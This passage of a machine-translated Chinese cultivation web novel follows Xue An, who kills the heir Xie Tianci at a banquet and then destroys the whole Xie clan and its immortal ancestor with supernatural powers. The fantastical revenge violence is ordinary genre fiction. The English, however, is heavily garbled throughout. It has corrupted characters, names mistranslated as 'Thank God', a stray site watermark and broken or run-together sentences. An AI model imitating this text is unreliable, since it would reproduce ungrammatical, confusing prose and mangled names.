    The female manager continued: "This must be Mrs. Cao..."


    Suddenly, the female manager widened her eyes.


    Axiu looked at the female manager and whispered, "Molly, do you still recognize me?"


    Molly seemed to have seen a ghost.


    "you you����."


    Molly was stunned, and there was a storm in her heart.


    At first, Axiu was the lobby manager of Livzon Hotel, and she was under her. Because she was jealous of Axiu''s achievements, she deliberately asked Axiu to send water to the drunk Xie Shao.


    Finally, Axiu was thrown downstairs, and she just stood by and watched.


    At the time, she felt that this woman was alive and dead.


    Unexpectedly, she actually came back today.


    And it''s the wife of Cao Zheng who has become popular recently.


    Axiu stared at this woman coldly.


    Molly gritted her teeth and sullied, what if it was?


    She knows that Shao Xie will definitely come tonight, and you will not be better at that time.


    So she forced a smile and said: "It turns out to be sister Axiu!"


    When Cao Zheng noticed the strangeness of his wife, he was about to say something.


    There was a commotion outside the door.


    Xie Tianci, Shi Hao, Hua Ruyue and others walked in.


    Their appearance shocked many people, while others were excited.


    coming!


    It''s lively now!


    After Xie Tianci entered the door and looked around the audience, many people shrank under his cold eyes.


    Then Xie Tianci''s gaze paused on Fan Mengxue, who was in full costume, and a look of greed flashed in his eyes.


    This woman is really stunning!


    Then Xie Tianci noticed Cao Zheng and the trembling Axiu beside him.


    There was a sneer at the corner of his mouth.


    At this time Qin Yu and Black King came over.


    "Thanks Shao!" Qin Yu nodded in greeting.


    Xie Tianci looked at Qin Yu and smiled suddenly, "I wonder, who gave you the courage? Gigi Liang?"


    The audience gradually calmed down.


    Shi Hao looked at Qin Yu with interest, thinking that this little lady looks good!


    Qin Yu''s complexion became difficult to look, "Xie Shao, what do you mean by this?"


    "Come to my site, not to mention a movie, and put a celebration banquet at the door of my house, do you really think the provincial capital is the north river of your Qin family?" Xie Tianci said coldly.


    Qin Yu gritted his teeth, "Xie Shao..."


    Xie Tianci waved his hand and sneered: "Since you dare to do this, you must be prepared to be retaliated back, Shi Hao, do it!"


    Shi Hao gave a grinning grin and walked forward, "Little lady, look at your delicate skin and tender flesh. If I punch you down, it is estimated that you will all be muddy. It is better to kneel down and apologize to Shao Xie and stay with me for the night. , Let you go, how?"


    Qin Yu''s expression turned blue with anger.


    At this time, the Black King blocked Qin Yu behind him with an unmoving expression, looked at Shi Hao and said, "Your opponent is me!"


    Shi Hao grinned, "Then go to death!"


    Shi Hao punched out, the sound of wind and thunder faintly in the fist wind.


    This is a trick he has only recently realized.


    The black king''s complexion changed drastically. I didn''t expect that this rich and young man was so powerful that he could barely meet this punch in a haste.


    boom.


    The Black King was blasted a dozen steps away, smashed a table, spit out a mouthful of blood, and then couldn''t stand up.


    The whole audience was silent.


    Shi Hao smugly said, "Who else?"


    At this time, Hua Ruyue sneered at Fan Mengxue and said: "The surname is Fan, have you seen it? Don''t think it''s all about making a movie. This is Xie''s site!


    Fan Mengxue''s expression was calm and fearless.


    It is that Wang Wenjian''s mind is hot at the moment, and he thinks of the goddess who stepped forward to protect himself.


    but was held back by Chen Xiaoyi.


    And the dignified King Chong shook his head steadily.


    Wang Wenjian had to give up At this time, Shi Hao smiled and walked forward and said, "Xie Shao, this woman belongs to me, and that Fan Mengxue belongs to you!"


    No one dared to speak.


    After all, the Xie family has been in the provincial capital for so many years, and the prestige is so great that no one dares to provoke it.


    And Qin Yu slowly backed away, anxious in his heart.


    Why hasn''t Mr. Xue come?


    Thank God for a smile at this time, "Don''t worry, the night is still long, play slowly, I will clean up this Cao Zheng first!"


    Xie Tianci turned his head to look at Cao Zheng and Axiu, and sneered slightly.


    "Director Cao Da, you really don''t give up. It''s a pity that you are looking for someone and you can''t beat me. As for your wife, I didn''t die at that time. I really regret it!"


    Axiu shocked all over.


    Molly was so happy as she watched from the sidelines, she said that you are all over now!


    And Cao Zheng''s eyes burst into extremely angry light.


    He can''t wait to eat this now, thank God.


    At this moment, Bi Yuntao rushed over and blocked the front of Cao.


    His behavior surprised many people.


    "You can''t deal with Cao Cao!" Although Bi Yuntao was afraid, he still tried to keep calm.


    Thank Tianci frowned slightly, "Go!"


    Bi Yuntao bit his head, but just didn''t move.


    At this time, Cao Zheng waved his shoulder, then stepped forward and said in a deep voice.


    "Thank God, don''t you think that you can cover the sky with one hand in the provincial capital!"


    Xie Tianci smiled triumphantly, "I''m sorry, but I can cover the sky with one hand, what can you do?"


    And at this moment, a light voice came from the door.


    "Covering the sky with one hand? Then I will chop off your hand!"

 Chapter 99： I abolish your cultivation, can you be convinced?

    Following the voice, Xue An walked in slowly.


    His appearance made Qin Yu, Fan Mengxue and others relieved.


    Even Bi Yuntao shouted: "Mr. Xue!"


    Xue An smiled and nodded, then looked at Xie Tianci, and said lightly: "Are you Xie Tianci?"


    Xie Tianci looked at Xue An with a sullen expression.


    But seeing Xue An like this doesn''t look like a wealthy boy, so I didn''t care too much, just looked at An Qing behind Xue An.


    "An Qing, you mingled with the Qin family to make trouble in the provincial capital. Are you afraid that your elders will ban you when they know about it?" Xie Tianci said in a sad voice.


    An Qing''s face is also very ugly.


    She and Xie Tianci are not very familiar, only met a few times.


    But she also knows that this Xie Tianci is considered a favorite in Xie''s home in the provincial capital.


    And the power of the Xie family, even the Zhongdu An family, dare not look down upon it.


    That''s why she felt that Xue An was putting the celebration banquet here today.


    "Xie Shao, we''re just here to hold a banquet, don''t have to be so exciting!" An Qing said.


    "Have a banquet? Ha ha!" A mocking smile appeared on the corner of Xie Tianci''s mouth, and then looked at Xue An.


    "You just seemed to tell me...you are going to chop my hand?"


    When he said this, the aura on Xie Tianci''s body was compelling, and An Qing was slightly discolored.


    But these things are useless in front of Xue An, Xue An just smiled faintly, "I said it, but I want to correct it!"


    "Oh? What to correct?" Xie Tianci thought that Xue An was going to apologize to him, and couldn''t help becoming more arrogant.


    "I think it is a waste of people like you to live in the world, so..."


    Xue An stammered and smiled sorrowfully.


    "You should go to hell!"


    The whole audience was silent.


    Many people looked at Xue An with dead eyes.


    actually spoke to Xie Shao in this tone.


    This guy is dying!


    Xie Tianci smiled in anger, nodded and said: "Very well, you successfully angered me. I will break the bones of your whole body little by little, and then kill you! Shi Hao!"


    Xie Tianci is not a fool, knowing that if Xue An dared to say that, he might have some effort, so he called Shi Hao over.


    He is very confident in Shi Hao, after all, Shi Hao has won the ranking in the martial arts conference this time, and has reached the top 100!


    I didn''t hear the expected footsteps.


    Xie Tianci turned around suspiciously, and then found Shi Hao looking palely at Xue An.


    "Shi Hao, get rid of this guy, then I will give you the piece of land you always wanted."


    Shi Hao finally moved.


    Xie Tianci was a little excited, and seemed to have seen Xue An''s bones broken.


    But the next scene shocked everyone.


    I saw Shi Hao tremblingly approaching Xue An, and suddenly thumped and knelt on the ground.


    "See... met Mr. Xue!"


    Thanks to Tianci, his eyes are almost staring out.


    How is this going?


    Xue An smiled lightly at this time, "I didn''t expect to meet here again!"


    Shi Hao''s heart is crying, and he never dreamed that the person Xie Tianci asked him to kill would actually be Xue An.


    If you knew it, Xie Tianci would kneel down and beg for himself, and he would not come.


    Because Shi Hao knew Xue An was good.


    The scene where Xue An was at the martial arts conference that day, killing the old man Zhitian with a punch is still vivid.


    I can barely be considered the top 100 in the martial arts conference.


    can be compared with others, not even a little finger.


    Therefore, Shi Hao simply knelt on the ground, hoping that Xue An would let him go.


    At this time, Xie Tianci said in surprise: "Shi Hao...what''s wrong with you?"


    Shi Hao was furious, and said coldly: "Xie Shao, sorry, I can''t provoke Mr. Xue, you should just say a few words!"


    Thanks to Tianci, I felt a cold sweat on my back.


    He knew Shi Hao''s strength, and he said he couldn''t afford it.


    That man...Where is it sacred?


    Xue An smiled at Shi Hao, "Don''t be afraid, I am not going to kill you, but what did you just say to Miss Qin?"


    Shi Hao shuddered, banging his head.


    "Mr. Forgive me, I really didn''t know Miss Qin was yours!"


    Xue An sighed slightly, then patted his head lightly.


    A look of horror appeared on Shi Hao''s face.


    But he didn''t even dare to move.


    But Xue An didn''t kill him, but after a few shots, Shi Hao''s face suddenly turned pale.


    Then the whole person quickly languished, and he no longer had the same energy as before.


    "I abandon your cultivation, can you be convinced?" Xue An said lightly.


    Shi Hao was limp, but still struggling to say: "Convinced!"


    Xue An nodded, then raised his eyes and smiled at Xie Tianci.


    "Now... it''s your turn!"


    Xie Tianci was shocked, and he couldn''t help but stepped back, still talking.


    "I''m the second youngest of the Xie family. If you dare to touch one of my hairs, the Xie family will never let you go!"


    Xue An shook his head, and sighed helplessly.


    "You rich men, why are you doing this before you die?"


    As Xue An suddenly stamped his foot, there was a wave of shaking in the whole hall.


    Many people fall to the ground unsteadily. UU reading www.uukanshu. com


    And Xie Tianci was on all fours crawling on the ground, unable to move at all.


    Xue An slowly stepped forward, gently stepping on Xie Tianci''s head with his foot.


    Thank God, at this time, it completely collapsed, "Spare me, Mr. Xue, spare my life, I was wrong, I shouldn��t be against you! Please let me go!"


    Xue An raised his head, looked at Cao Zheng and Axiu who were surprised, and smiled slightly.


    "Have you seen it, the wicked people who hurt you are also scared, so you don''t have to worry about these things in the future, understand?"


    Axiu was shocked, and the panic in her eyes disappeared, replaced by the color of clarity.


    Xue An lowered his head, at this moment Xie Tianci was already scared to pee.


    There is a strong smell of urine, which makes people sick.


    "What you just said is correct, the Xie family will not let me go, so after you die, I am going to... destroy your Xie family first!"


    After that, Xue An stepped on it.


    boom.


    Xie Tianci��s head was trampled on.


    So far, the second youngest of the Xie family was killed on the spot.


    The whole audience was silent.


    Many people are so scared that their calves are fighting.


    Xue An looked indifferent, even with a smile on the corner of his mouth, and then looked around the audience.


    No one dared to look at him.


    At this time, Xue An saw Hua Ruyue who was dumbfounded.


    then hooked her finger.


    "come here!"


    Hua Ruyue trembled all over, and then backed away in horror.


    "No...no, I...I don''t know anything, please don''t kill me!"


    "Don''t know anything? Who sent the black gang to deal with Fan Mengxue?"


    Hua Ruyue''s eyes are extremely frightened, this man is the devil!


    How does he know everything?

 Chapter 100： After tonight, the Xie family will no longer exist!

    Xue An suddenly stretched out his hand, a phantom floated from the top of Hua Ruyue''s head, and then Hua Ruyue''s body crashed to the ground.


    Xue An casually squeezed Hua Ruyue''s soul to pieces.


    At this point, this vicious woman no longer exists.


    From the time Xue An entered the door, it took only five minutes to kill one person and two.


    These thunderous methods make everyone stunned.


    Molly was trembling all over at this time, she turned around and wanted to leave.


    Axiu suddenly smiled and said to Cao Zheng: "This woman is the one who caused me to jump off the building. If I don''t kill him, I just throw her down from the fourth floor!"


    Cao Zheng nodded solemnly, stepped forward and pinched Molly''s neck, and dragged it directly to the window.


    Molly struggled hard, still wailed in her mouth, and apologized to Axiu constantly.


    It''s just that Axiu doesn''t move.


    This hall is on the fourth floor, and Cao Zheng directly threw it through the window.


    boom.


    There was a muffled noise outside.


    It was the sound of a human body falling to the ground.


    This muffled sound also made the hearts of everyone present tremble.


    Xue An walked to the Black King at this time.


    "how about it?"


    The black king coughed, then smiled bitterly: "I can''t die for now!"


    Xue An threw a pill to the Black King, "Take it!"


    The black king took the medicine abruptly.


    He had seen Xue An rejuvenate Qin Yuan with only one pill.


    "Thank you, Mr. Xue!"


    Then Xue Anchong smiled at the stunned people, "Okay, the banquet continues."


    No one dares to leave.


    A joke, this man who always had a three-point smile started so fiercely that he even killed Xie Er Shao.


    Who dares to offend?


    But many people are still a little worried.


    Xie Tianci is dead, how could the Xie family give up?


    It seems that the provincial capital will no longer be peaceful again!


    The banquet continues.


    But many people are far away from Xue An, and they dare not approach.


    Xue An didn''t care about this either. He sat on the sofa and slowly drank red wine.


    The two daughters were taken by Fan Mengxue to eat. At this moment, he has a moment of leisure.


    suddenly.


    A woman sat next to Xue An and poured a glass of red wine on her own.


    Xue An turned his head and looked at it, recognizing that it was the female reporter at the press conference, and couldn''t help laughing.


    Chen Xiaoyi raised his glass and nodded to Xue An, "Congratulations on fulfilling the promise made at the press conference!"


    Xue An smiled, "Thank you!" Then he took a sip of wine.


    "Aren''t you afraid of me?" Xue An suddenly asked after putting down his glass.


    Chen Xiaoyi shook his head, "Not afraid!"


    "I killed two people!"


    "Thank God, there is more to die than you are."


    Xue An smiled lightly, "You seem to hate him?"


    "How many people in the provincial city circle don''t hate him?" Chen Xiaoyi said.


    Xue An nodded, and then stopped talking.


    This beautiful female reporter is so proactive, Xue An certainly knows what it means.


    Unfortunately, Xue An is not interested in these.


    He has been working hard to improve his cultivation level during this period, and he is ready to find Anyan as soon as possible.


    With the passage of time, he missed An Yan more and more deeply.


    Chen Xiaoyi gritted her teeth secretly, she came to the toast but she mustered her courage.


    I don��t know why, since she met at the press conference that day, she has often thought of Xue An.


    remembered the man who slapped Fang Qiu at the press conference.


    Just now, Xue An''s fierce attack made Chen Xiaoyi secretly startled.


    But in the end, she decided to give it a try.


    But the result... let her a little disappointed.


    In the underground parking lot of Lizhu Hotel.


    Shi Zhuli is helping her brother Shi Hao to drive.


    Seeing that her energetic brother suddenly became so weak, Shi Zhuli''s face was full of resentment.


    After getting in the car, Shi Zhuli couldn''t help it.


    "Brother, shouldn''t this be the case?"


    Shi Hao lay on the seat and said weakly, "Otherwise?"


    Shi Zhuli gritted her teeth, "But I can''t swallow this breath. Why did that Xue An abolish your cultivation?"


    Shi Hao smiled bitterly and shook his head, "Okay, silly girl, your brother doesn''t know how lucky it is now. Do you know how cold his eyes were when he saw me? If it weren''t because I saw the opportunity quickly, now I am a one. A corpse!"


    "If something like cultivation base is gone, it will be gone, but if life is gone, it will be completely finished!"


    Dianthus is thoughtful.


    Shi Hao sighed at this time, "It''s just that I''m too proud and arrogant, and I can''t blame anyone else!"


    "Then... the news that Xie Er Shao was killed, shall we inform the Xie family?" Shi Zhuli asked hesitantly for a moment.


    A look of mockery appeared on Shi Hao''s face, "Xie Family? I don''t know if there is Xie Family after tonight!"


    Shizhuli was shocked, "Brother, what do you mean..."


    "Did you not listen to him? After killing Xie Tianci, the Xie family will be destroyed!"


    Shi Zhuli was shocked, "But... is this possible? You know, there is an ancestor in the Xie family who is still alive!"


    Shi Hao waved his hand, "You think it is impossible, but it is possible for him! As for the ancestor of the Xie family..."


    A look of horror flashed in Shi Hao''s eyes.


    "This man may have already taken that step..."


    Shi Zhuli breathed a chill in my heart Go back, in the future, our Shi family can no longer participate in these things, especially if the Xie family is destroyed, then the Qin family will definitely enter the provincial capital, and then we will be the only one. The first horse is looking! Shi Hao said solemnly.


    As Shi Hao said, Xue An is indeed preparing to destroy the Xie family.


    Because he has just obtained a lot of information through Xie Tianci''s life soul.


    The evil that the Xie family has done over the years is enough for them to perish ten times.


    At this moment, the banquet is over.


    Chen Xiaoyi left lost.


    As for the others, they all dispersed.


    Xue An led the two daughters back to the hotel, waiting for them to sleep.


    Xue An walked out of the room.


    Anqing is waiting for him in the living room.


    After seeing Xue An, An Qing said with a solemn expression: "Xue An, you shouldn''t kill Xie Tianci!"


    "Oh why?"


    "The strength of the Xie family is far from that simple, and they even have unimaginable strength behind them..."


    "and then?"


    "Then you kill Xie Tianci. Although this person is not the eldest son of the Xie family, he is also very spoiled. Then the Xie family will never give up! So you... or go to Zhongdu!"


    Anqing said his thoughts.


    "The Qin family in Beijiang can''t protect you, but if you get to Zhongdu, relying on our power to settle the family, the Xie family will always be a little jealous."


    Xue An smiled and shook his head.


    Anqing is in a hurry, "You... anyhow, you are also a person with children, so you have to calm down when doing things. I know you don''t want to go to Zhongdu, but this is the only way!"


    Xue An walked to the window, and the wind gradually rose.


    "Thank you for your kindness, but after tonight, the Xie family...no longer exists!"

 Chapter 101： Moon Black Wind High Murder Night

    An Qing shook her whole body and exclaimed, "Are you...really planning to destroy the Xie family?"


    Xue An nodded.


    "How is it possible that the Xie family is powerful and there are many masters, and there are even rumors that there is an old ancestor who has not been born for a long time. You are only one person, how can they be their opponent?" An Qing said in disbelief.


    Xue An smiled, did not directly answer An Qing''s words, but said faintly: "Look, it''s windy!"


    "What about the wind?" An Qing was a little unsure.


    "Have you ever heard a word." Xue An opened the window, and the strong wind came in.


    "What are you talking about?"


    "The moon is black and the wind is high... Killing Night!" Xue An said lightly, stepping into the void.


    An astonishing momentum rose from Xue An to the sky, and the world seemed to change color.


    "If you think about it, I will go back." Xue An said, and the whole person gradually disappeared into the darkness.


    Anqing stood in despair at the window.


    A few words from Xue An just now shocked her greatly.


    It turned out that the wealthy family that is difficult to deal with in his own eyes, in Xue An''s view, is just a side dish that can be easily eliminated.


    In Xue An''s eyes, Anjia, is it the same?


    Anqing fell into deep thought.


    Xie��s house is now brightly lit.


    Xie Tianci��s father and the current head of the Xie family, Xie Xuan, sat on the sofa with a gloomy face.


    News of the death of Xie Tianci has come back.


    Of course Xie Xuan was furious.


    Xie Xuan still prefers his little son.


    Unexpectedly, someone would dare to kill his son under his own eyes in the provincial capital.


    Thinking of this, Xie Xuan''s heart was full of murderous aura.


    At this time, the many masters that the Xie family usually enshrines have all arrived, and the hall is silent.


    After a while, someone hurried over.


    "Patriarch, I found out that the murderer was from the Qin family in Beijiang, named Xue An."


    Xue An?


    Xie Xuan frowned and looked at the masters behind him.


    At this time, one of the eldest and highest-identity people in the crowd came forward, "Patriarch, the old man has been in the world for decades, and I have never heard of any master surnamed Xue."


    Xie Xuan still respects this old man. Seeing him speak, he can''t help but nod his head in greeting.


    "Master Tian."


    This old man is the fifth-ranked Master Tian Bintian. He is known as the Blood Hand Ren Tu, and he is the demon who committed countless murders.


    later provoked public anger, and finally disappeared.


    I didn''t expect to be in Xie''s house, and became an offering to Xie''s house.


    At this moment, Tian Bin said solemnly, "Patriarch, I would like to personally lead someone to bring this Xue An back and avenge the second master."


    Xie Xuan nodded, "So, there will be Master Laotian."


    Tian Bin smiled grimly, "Patriarch is polite, since some people dare to oppose our Xie family, then my name is not for nothing!"


    But at this moment, a calm voice came from outside the door.


    "No need to catch, I''m here by myself."


    "Who?"


    Just when everyone was horrified, the doors and windows shattered, and the squally wind rushed in. Xue An slowly walked in and smiled sorrowfully at everyone in the room.


    "I am Xue An!"


    Xie Xuan stood up and stared at Xue An with a gloomy face, "You killed my son?"


    Xue An nodded, "To be precise, I stepped on my head."


    "Kill him!" Xie Xuan''s eyes were red, no nonsense, and directly ordered coldly.


    Tian Bin had long been unable to restrain himself. In his opinion, this man looked ordinary, and he happened to be able to act in front of the lord.


    Therefore, he smirked, "Boy, you actually fell into the trap by yourself, I''m struggling to save myself, go to hell!"


    said that Tian Bin raised his scarlet palms and came straight to Xue An.


    The reason why he was called the Blood Hand Mantu was because he was practicing the extremely vicious blood hand art.


    When ���� has reached the highest level of training, his hands are as red as cinnabar.


    Split both palms, bringing a gust of fishy wind.


    Xue An didn''t move, but watched with interest.


    Tian Bin sneered in his heart. He had been immersed in these **** hands for decades. It was extremely powerful. As long as he touched a little bit, he would die or be injured.


    But this person can''t avoid it.


    This is your own death, you can''t blame others. A stern look flashed in Tian Bin''s eyes.


    just when his hands are about to touch Xue An''s clothes.


    Xue An yelled softly, "Get out!"


    This sound is not surprising to others.


    But it was this understatement, but it was like a heavy hammer that directly caused Tian Bin to fly upside down, until he smashed a wall before falling to the ground.


    In the smoke and dust, Tian Bin''s chest was deflated, and after spitting out a large mouthful of blood, he died in desperation.


    This command shocked everyone in the house.


    one strike.


    can''t even say a blow, only a soft drink, which killed the fifth-ranked Bloodhand on the spot.


    How deep is this man?


    Xie Xuan''s face grew gloomy.


    Xue An sighed softly at this time, "It looks very powerful, it turns out to be so vulnerable."


    Then everyone in Xue Anhuan''s field of vision smiled faintly, "But don''t worrytonight...None of you can run away."


    Xie Xuan''s face was very ugly, but he still snorted, "No wonder you dare to fight against my Xie family in the provincial capital. You really have some skill, but you didn''t ask, is our Xie family so messy?"


    Xue An shook his head and chuckled when he heard the words, "I know, isn''t your Xie family just relying on a Sanxian to sit in town?"


    This phrase comes out.


    Xie Xuan''s discoloration changed.


    This is the core secret of the Xie family.


    Although there have been rumors from the outside that there is still an ancestor living in the Xie family, no one knows what realm the ancestor has reached.


    But this man said nothing.


    Who is he?


    Xue An smiled slightly, "Don''t be so surprised, I think, at this moment, the ancestor of your family should also know that I am here!"


    As he said, Xue An''s aura suddenly increased, and the powerful and terrifying power made everyone present all the same, and even some of them directly knelt on the ground.


    The heavens and the earth seemed to change color, and the squally wind fell low, sobbing softly that he did not dare to approach Xue An.


    And Xue An said calmly: "Since you know I''m here, do you still refuse to come out?"


    The voice came out very far.


    The voice just fell.


    An old and majestic voice came from behind this villa surrounded by mountains and rivers.


    "Sure enough, the hero was born a boy, but unfortunately... you are too arrogant!"


    Hearing this voice, Xie Xuan couldn''t help being overjoyed.


    "It''s the ancestor, the ancestor is out of the mountain!"


    At this moment, an old man with white beard and hair and a majestic face slowly came from the back mountain.


    Every step he takes, his aura grows stronger.


    When he walked to the villa, his aura climbed to the top, even completely overshadowing Xue An.

 Chapter 102： Fist and explode!

    Xie Xuan knelt down with excitement, "Grandson has seen the ancestor!"


    Yes, this old man is Xie Xuan''s grandfather, called Xie Xing.


    Because of the tremendous increase in lifespan after entering Sanxian, he looks like an old man in his seventies.


    Xie Xing nodded, "Get up!"


    Xie Xuan got up and stepped aside, his face full of joy.


    In his opinion, as long as the ancestors come out of the mountain, there will be nothing he can''t solve in the next day.


    At this time, Xie Xing looked at Xue An and sneered: "Young man, at your age, it is really good to be able to have such cultivation skills."


    "But do you think that you can get me the Xie clan with just a little carelessness?"


    Speaking of the back, Xie Xing raised the volume, the voice shook everywhere.


    The whole villa was trembling slightly, and the flowers and trees in the yard were also snapped off by this shout.


    The masters invited by the Xie family all changed their colors.


    The power of scattered immortals is so terrifying!


    Although it was just a simple question, his momentum was like a stormy sea.


    But Xue An didn''t care, as if this amazing aura was just the breeze blowing on his face, he smiled lightly.


    "Is there anything I can do, I have to try it!"


    Xie Xing smiled proudly, "That old man will do you today!"


    As Xie Xing suddenly raised his hand, a huge long knife gradually appeared.


    Congeal the knife with air!


    is really a fairy!


    Many masters looked dazzled.


    And the long knife in Xie Xing''s hand has been completely condensed, with a blade of more than ten meters long, exuding a frightening atmosphere.


    "Look at me... Xie''s crazy knife!" Xie Xing yelled, raising the knife and cutting it down.


    The blade passed, it seemed that even the wind had cut it off.


    is just under this shaking sword.


    Xue An was as quiet as a mountain, but shook his head slightly, "Too slow!"


    As he said, Xue An raised a fist and greeted him without fear.


    "One punch...moves the world!"


    Boom!


    There was a loud, deafening noise.


    Xie Xing''s figure shook a few times, the long knife in his hand clicked and turned into nothingness again, and his complexion gradually became dignified.


    With the power of dispersing immortals, he has no choice but to get this man in the happy state.


    was even shattered with a punch by him.


    This person is really amazing!


    At this time, Xue An raised his fist, and saw a thin scar on his fist that was originally white as jade.


    A drop of blood slowly oozes out, then slides down.


    he got hurt!


    Xie Xuan and others who were originally horrified couldn''t help but rejoice!


    Xie Xing also sneered, "Young man, I think your cultivation is not easy, as long as you kneel down now, and then tell the old man the heart of the punch, the old man will spare you not to die!"


    Xie Xing''s eyes flashed with greed.


    This man is able to resist himself with a single blow only with the cultivation base of the Unfettered Realm. It must be relying on that mysterious boxing technique.


    If I can get it, my cultivation will definitely go further.


    But then Xue An smiled.


    "Sure enough... Isn''t the Happy Realm not enough?"


    has a low voice, seeming to be talking to himself.


    Xie Xing grinned, "From ancient times to the present, there have been many people who have entered the unfettered world, and have become a widow of unfettered immortals. You are proud to be able to pick me up with the cultivation base of the unfettered realm! Now that you hand over your fist technique, I can spare your life! "


    Xue An shook his head, and sighed slightly, "Since Xiaoyao is not enough, then..."


    "Go into the realm of heaven and man!"


    Following the voice, Xue An''s momentum suddenly began to rise rapidly.


    is like breaking a seal.


    The original cultivation base of the Xiaoyao state, but in the blink of an eye, he stepped into the heaven and human state!


    This magical scene made Xie Xingdu stunned.


    Is it so easy to step from Happy to Heaven now?


    I remember that I was stuck in the Happy Realm for more than 20 years before breaking through!


    But what he didn''t know was that Xue An had been polishing his cultivation these days, and only the last touch was enough to enter the realm of heaven and human.


    And the reason why Xue An killed Xie''s family was because he wanted to use his hand as an immortal to sharpen his knife.


    Finally, under the knife just now, Xue An broke through.


    Xie Xing''s momentum originally had the advantage, but after Xue An stepped into the heavens, the situation reversed.


    Xue An��s momentum was rising steadily, and Xie Xing, who was soon suppressed, took two steps back, and there was a trace of panic in his eyes.


    then Xie Xing gritted his teeth.


    What if you enter the realm of heaven and human?


    I am a fairy!


    is a realm away, the difference in strength is more than a hundred times!


    And this man is so powerful, if you don��t get rid of it today, it will be a big disaster in the future!


    Therefore, he sneered, "Very well, you succeeded in making me murderous. Today is your death date!"


    As Xie Xing put his hands together, a long knife that was twice as large as before condensed.


    "Die me!" Xie Xing roared.


    The giant knife cuts down like a groundbreaking ground.


    This kind of momentum made Xie Xuan and the others excited.


    In their opinion, Xue An is dead!


    can be cut in half with a long knife, and can no longer be deposited.


    Because Xue An clamped the giant knife with two fingers.


    Then Xue An smiled in Xie Xing''s stunned eyes, "I said, you are too slow!"


    As he said, Xue An''s fingers pressed hard and clicked.


    This amazing long knife shattered.


    "You just cut twice, now... it''s my turn!"


    Xue An said lightly and raised his fist.


    "One punch, divide yin and yang!"


    Killing God Six Forms, Second Form!


    Xue An once used it in Xiaoyao, but after Jin entered the Celestial Man, the power of this punch would have increased a hundredfold.


    After this punch, everything around him solidified instantly.


    Within a hundred meters, the trees shattered and then turned into dust.


    The villa quickly began to collapse, and then quietly became a fan.


    But Xie Xing only felt that a violent force bound him.


    He couldn''t help being horrified, the man''s power was beyond his imagination.


    In desperation, Xie Xing had to use his life-saving trick.


    He bit his tongue sharply.


    ��!


    A mouthful of lifeblood spurted out.


    Xie Xing''s whole person gradually faded.


    This is the **** escape technique Xie Xing used to spend a lot of money in.


    Just doing this will consume decades of energy.


    But at this moment, he doesn''t care about so much!


    Life is important!


    But just when he thought he could escape.


    Xue An raised his fist again, "Six Types of Killing God, the third type, life and death!"


    This punch is silent, not even the wind.


    But it was such a simple punch that made Xie Xing who was about to run away scream.


    Then his whole person was aging rapidly, and in a short time, he became old.


    "Spare... life!"


    At the last word of fate, Xie Xing broke off his breath, and then quickly turned into a skeleton and dispersed with the wind!


    So far.


    has entered the Xie Xing of Sanxian, and was beaten by Xue An!


    Xie Xuan and others watched this scene dumbfounded.


    The ancestor... is dead?

 Chapter 103： Xies family...the smoke disappears

    Who would have thought that the invincible Xie family ancestor would die so silently?


    Xue An turned his head to look at them, and smiled slightly, "I''m sorry, this ancestor of the Xie family doesn''t seem to resist being beaten!"


    Xie Xuan trembled all over, eyes full of horror.


    As for the so-called masters, they all gasped. Some of them were quick to see the chance, and they had begun to quietly retreat, preparing to slip away.


    But Xue An did not intend to let them go.


    "As I said, after tonight, the Xie family will become history. I hope you can repent well after you go to hell!"


    "No!" Xie Xuan yelled in horror, "Sir, we Xie''s family and you haven''t had a festival before, but the rebellious son has offended you. Now the rebellious son is dead, and the ancestor is dead. Please raise your hand and forgive us. !"


    When he said this, Xie Xuan was sincere and respectful.


    Xue An just watched quietly.


    After he finished speaking, he said faintly: "These words, go and talk to those people who were killed by your Xie family!"


    As Xue An emptied his left hand, a long knife gradually condensed.


    is impressively the trick Xie Xing used just now.


    Xie Xuan exclaimed, what else he wanted to say.


    Xue An swept across his wrist.


    Puff puff.


    As if to destroy the dead, Xie Xuan and the so-called masters were all slashed horizontally.


    The dead corpses fell to the ground one after another.


    Xie Xuan struggled unwillingly until now.


    He realized that this man is not something his Xie family can afford.


    Unfortunately, it is too late to regret.


    boom.


    This magnificent villa groaned under the knife, and then fell to the ground.


    Under the smoke and dust everywhere.


    Xie''s family disappeared.


    But Xue An obviously did not intend to let anyone go.


    Since I did it, I have to kill everything.


    Stupid kindness will only leave trouble.


    So he walked up to Xie Xuan, who was left with the last breath, and said lightly: "Are you very lucky that your eldest son is not in the provincial capital?"


    Xie Xuan made a gurgling sound in his throat, his face was full of panic.


    Xue An smiled, "I don''t want to kill innocent people indiscriminately, but what you thank you for doing is enough for you to die ten times, so..."


    Xue An knelt down, a drop of Xie Xuan''s blood dipped his finger.


    "The most important thing for a family is to be neat and tidy, I will send you on the road!"


    As he said, Xue An''s fingers pinched the tactics, and a mysterious aura followed the drop of blood and directly chased and killed the past through an incomprehensible path for mortals.


    The art of blood curse!


    claimed to be a secret method that can curse and kill the entire clan with just a drop of blood.


    This is what Xue An got from an ancient demon when he traveled through the heavens.


    Now that he is promoted to the realm of heaven and human, he can barely use it.


    Xie Xuan furiously attacked his heart at this time, and finally died in desperation.


    He did have a fluke just now.


    At least his eldest son is not in the provincial capital.


    As long as he is alive, then the Xie family is not considered ruined.


    But now, Xue An has cut off his last hope.


    this moment.


    in a luxurious bar overseas.


    Xie Baozheng, the eldest son of Xie Xuan, is addicted to the drunkenness of gold.


    Suddenly, a flash of blood flashed.


    Xiebao''s expression froze, there were a few rattles in his throat, and then he fell to the ground with a plop and died in desperation.


    At this point, the Xie family, which had occupied the provincial capital for decades, was completely destroyed.


    Xue An flicked his fingers, and these dead bodies were all ablaze with flames, and in a flash, they burned to nothing.


    then turned and left.


    After returning to the hotel, An Qing was waiting for him restlessly.


    Fan Mengxue, Qin Yu and others are as worried as her.


    During the more than an hour when Xue An left.


    These people are all full of anxiety.


    The Black King prepared to go to Xie''s house several times, but finally gave up.


    Because the black king knows that he just went there, it can''t help much.


    might as well protect everyone in the hotel.


    While waiting for anxiety, Xue An opened the door and walked in.


    When everyone saw that he was safe and sound, they let out a sigh of relief.


    An Qing even patted her chest, and then sighed: "It''s alright, it''s fine to come back. It''s okay if you don''t destroy the Xie''s house. We will discuss it for a long time."


    From An Qing''s point of view, how could Xie''s family be destroyed after so many hours?


    Maybe Xue An went out for a round and then came back.


    But Xue An smiled slightly, "Xie''s family, it doesn''t exist anymore!"


    The room was quiet.


    Anqing looked at Xue An in disbelief, "Really?"


    Xue An nodded.


    "The ancestor of the Xie family......"


    "I was hit by a punch!" Xue An said lightly.


    Anqing closed her mouth.


    She suddenly didn''t know what to say.


